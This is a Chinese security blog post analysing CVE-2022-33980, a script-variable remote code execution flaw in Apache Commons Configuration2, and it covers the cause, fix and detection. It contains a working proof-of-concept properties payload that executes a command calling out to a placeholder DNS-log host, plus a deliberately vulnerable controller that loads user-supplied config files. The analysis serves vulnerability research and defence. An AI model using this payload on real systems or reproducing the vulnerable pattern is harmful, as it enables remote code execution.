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CVE-2022-33980: Apache-Commons-Configuration2 ScriptEngine RCE<a href="https://github.com/owefsad/blog/tree/main/source/_posts/CVE-2022-33980-Apache-Commons-Configuration2-ScriptEngine-RCE.md" class="post-edit-link" title="Edit this post" rel="noopener" target="_blank"><i class="fa fa-pen-nib"></i></a>
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<div class="post-body" itemprop="articleBody"><p>Apache Commons Configuration2 是Apache基金会下的一款开源项目组件, 它是 Java 应用程序的配置管理工具，用于解析 properties、xml、ini 等格式的配置文件，构建应用程序的基础配置；通过 commons-configuration2 组件可以实现远程配置文件加载、配置文件监听与热更新等高级功能。</p>
<span id="more"></span>
<p>commons-configurations2 组件的 2.4 至 2.7 版本中，引入了变量语法，导致 ScriptEngine RCE 漏洞，该漏洞的产生原因与去年爆发的 log4j2shell 如出一辙，皆为通过格式化字符串指定内部的解析示例，然后触发漏洞；但是漏洞的利用条件较为苛刻，需要从外部传入配置文件、配置文件的值，并在应用程序中对恶意配置进行加载，才能触发漏洞，这也导致了该漏洞无人问津。</p>
<p>commons-configurations2 作为一款流行的三方组件，在超过 856 个三方组件中被引入，直接、间接引入项目的数量无法考量，影响面完全不逊色于 log4j2shell，但是，由于该漏洞利用难度过高、利用场景有限，因此无法像 log4j2shell、springshell 等漏洞一样在实战中使用。本文仅作简单研究，分析 CVE-2022-33980 漏洞的形成原因、利用方法、修复方案、IAST/SAST 检测思路及方法。<!--揭密如何通过 AST-Framework 平台挖掘此类 0 Day--></p>
<h2 id="漏洞利用-POC-及效果"><a href="#漏洞利用-POC-及效果" class="headerlink" title="漏洞利用 POC 及效果"></a>漏洞利用 POC 及效果</h2><p>以下 poc 在 Mac/Linux 环境中可使用： </p>
<figure class="highlight properties"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">name</span>=<span class="string">${script:js:java.lang.Runtime.getRuntime().exec("ping -c 1 configuration2.<dnslog_key>.<dnslog_addr>")}</span></span><br></pre></td></tr></table></figure>
<p><img src="/CVE-2022-33980-Apache-Commons-Configuration2-ScriptEngine-RCE/cve-2022-33980-rce.png"></p>
<h2 id="漏洞环境搭建"><a href="#漏洞环境搭建" class="headerlink" title="漏洞环境搭建"></a>漏洞环境搭建</h2><p>本来没想自己打环境的，因为 trhacknon 和 xxx 已经构建好了一个<a target="_blank" rel="noopener" href="https://github.com/trhacknon/CVE-2022-33980-Apache-Commons-Configuration-RCE">漏洞环境</a>，分析之后发现该环境没有还原出全部的漏洞利用路径，因此有了下面的漏洞环境。</p>
<p><a target="_blank" rel="noopener" href="https://github.com/VulScanSpace/AST-Vulns">AST-Vulns</a></p>
<h2 id="漏洞原理分析"><a href="#漏洞原理分析" class="headerlink" title="漏洞原理分析"></a>漏洞原理分析</h2><p><strong>漏洞示例代码</strong></p>
<ol>
<li>设置 properties 文件，创建 Configurations 实例化对象</li>
<li>通过 <code>config.getString(key)</code> 触发 configuration2 配置值的处理逻辑，触发漏洞</li>
</ol>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@RequestMapping("properties")</span></span><br><span class="line"><span class="meta">@ResponseBody</span></span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">properties</span><span class="params">(String filename)</span> <span class="keyword">throws</span> ConfigurationException {</span><br><span class="line"> <span class="type">Configurations</span> <span class="variable">configs</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Configurations</span>();</span><br><span class="line"> <span class="type">Configuration</span> <span class="variable">config</span> <span class="operator">=</span> configs.properties(filename);</span><br><span class="line"></span><br><span class="line"> Iterator<String> keys = config.getKeys();</span><br><span class="line"> <span class="keyword">while</span> (keys.hasNext()) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> keys.next();</span><br><span class="line"> <span class="comment">// FIXME 漏洞触发的入口方法</span></span><br><span class="line"> <span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> config.getString(key);</span><br><span class="line"> System.out.println(key + <span class="string">": "</span> + value);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"properties"</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><strong>漏洞触发位置堆栈如下</strong></p>
<figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">eval:<span class="number">264</span>, AbstractScriptEngine (javax.script)</span><br><span class="line">lookup:<span class="number">85</span>, ScriptStringLookup (org<span class="selector-class">.apache</span><span class="selector-class">.commons</span><span class="selector-class">.text</span>.lookup)</span><br><span class="line">lookup:<span class="number">45</span>, StringLookupAdapter (org<span class="selector-class">.apache</span><span class="selector-class">.commons</span><span class="selector-class">.configuration2</span>.interpol)</span><br><span class="line">resolve:<span class="number">497</span>, ConfigurationInterpolator (org<span class="selector-class">.apache</span><span class="selector-class">.commons</span><span class="selector-class">.configuration2</span>.interpol)</span><br><span class="line">resolveSingleVariable:<span class="number">529</span>, ConfigurationInterpolator (org<span class="selector-class">.apache</span><span class="selector-class">.commons</span><span class="selector-class">.configuration2</span>.interpol)</span><br><span class="line">interpolate:<span class="number">362</span>, ConfigurationInterpolator (org<span class="selector-class">.apache</span><span class="selector-class">.commons</span><span class="selector-class">.configuration2</span>.interpol)</span><br><span class="line">to:<span class="number">115</span>, DefaultConversionHandler (org<span class="selector-class">.apache</span><span class="selector-class">.commons</span><span class="selector-class">.configuration2</span>.convert)</span><br><span class="line">getAndConvertProperty:<span class="number">1754</span>, AbstractConfiguration (org<span class="selector-class">.apache</span><span class="selector-class">.commons</span>.configuration2)</span><br><span class="line">convert:<span class="number">1786</span>, AbstractConfiguration (org<span class="selector-class">.apache</span><span class="selector-class">.commons</span>.configuration2)</span><br><span class="line">getString:<span class="number">1344</span>, AbstractConfiguration (org<span class="selector-class">.apache</span><span class="selector-class">.commons</span>.configuration2)</span><br><span class="line">properties:<span class="number">27</span>, ConfigurationController (io<span class="selector-class">.ast</span><span class="selector-class">.vulns</span><span class="selector-class">.cve</span>.controller)</span><br><span class="line">testProperties:<span class="number">18</span>, ConfigurationControllerTest (io<span class="selector-class">.ast</span><span class="selector-class">.vulns</span><span class="selector-class">.cve</span>.controller)</span><br><span class="line">...</span><br><span class="line"><span class="selector-tag">main</span>:<span class="number">54</span>, JUnitStarter (com<span class="selector-class">.intellij</span><span class="selector-class">.rt</span>.junit)</span><br></pre></td></tr></table></figure>
<p><strong>漏洞分析</strong></p>
<p>根据堆栈可以看到，漏洞触发的位置为 <code>AbstractScriptEngine.eval</code> 方法。当在代码中调用 <code>config.getString(key)</code> 方法时，默认调用抽象类 <code>AbstractConfiguration</code> 的代码实现，获取到配置项的值之后，传入了 <code>ConfigurationInterpolator</code> 类的 <code>interpolate</code> 方法进行加工处理；</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">interpolate</span><span class="params">(Object value)</span> {</span><br><span class="line"> <span class="keyword">if</span> (value <span class="keyword">instanceof</span> String) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">strValue</span> <span class="operator">=</span> (String)value;</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">this</span>.looksLikeSingleVariable(strValue)) {</span><br><span class="line"> <span class="type">Object</span> <span class="variable">resolvedValue</span> <span class="operator">=</span> <span class="built_in">this</span>.resolveSingleVariable(strValue);</span><br><span class="line"> <span class="keyword">if</span> (resolvedValue != <span class="literal">null</span> && !(resolvedValue <span class="keyword">instanceof</span> String)) {</span><br><span class="line"> <span class="keyword">return</span> resolvedValue;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">this</span>.substitutor.replace(strValue);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> value;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>在 <code>interpolate</code> 方法中，如果发现配置的值为变量(判断条件: <code>strValue.startsWith("${") && strValue.endsWith("}")</code>)，则调用 <code>resolveSingleVariable</code> 方法处理变量表达式；</p>
<p>configuration2 实现了很多的变量表达式的处理实现类，其中包括 <code>ScriptStringLookup</code> 类，在该类中，将表达式的值传入 <code>ScriptEngine</code> 接口的抽象类<code>AbstractScriptEngine</code>的 <code>eval</code> 方法中，触发漏洞。<br><img src="/CVE-2022-33980-Apache-Commons-Configuration2-ScriptEngine-RCE/cve-2022-33980-sink.png"></p>
<h2 id="官方修复方案"><a href="#官方修复方案" class="headerlink" title="官方修复方案"></a>官方修复方案</h2><p>影响版本：[2.4，2.8.0)</p>
<p>在 2.8.0 版本中，官方默认不支持处理 <code>script</code> 变量，但是 <code>script</code> 变量的解析类还在，该修复方案修复的并不完善，存在绕过的可能。<br><img src="/CVE-2022-33980-Apache-Commons-Configuration2-ScriptEngine-RCE/cve-2022-33980-fixed.png"></p>
<h2 id="IAST-SAST-如何检测"><a href="#IAST-SAST-如何检测" class="headerlink" title="IAST/SAST 如何检测"></a>IAST/SAST 如何检测</h2><p>CVE-2022-33980 本质上为 ScriptEngine 代码执行漏洞，只需要传入特殊构造的 poc <code>${script:expr}</code>，即可调用 <code>ScriptEngine</code> 的 <code>eval</code> 方法执行 <code>expr</code> 中指定的代码，触发漏洞。因此，在 IAST/SAST 中检测漏洞时，只需要配置 sink 方法：<code>javax.script.ScriptEngine.eval(String script)</code>即可。</p>
<h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><ul>
<li><a target="_blank" rel="noopener" href="https://github.com/VulScanSpace/AST-Vulns">https://github.com/VulScanSpace/AST-Vulns</a></li>
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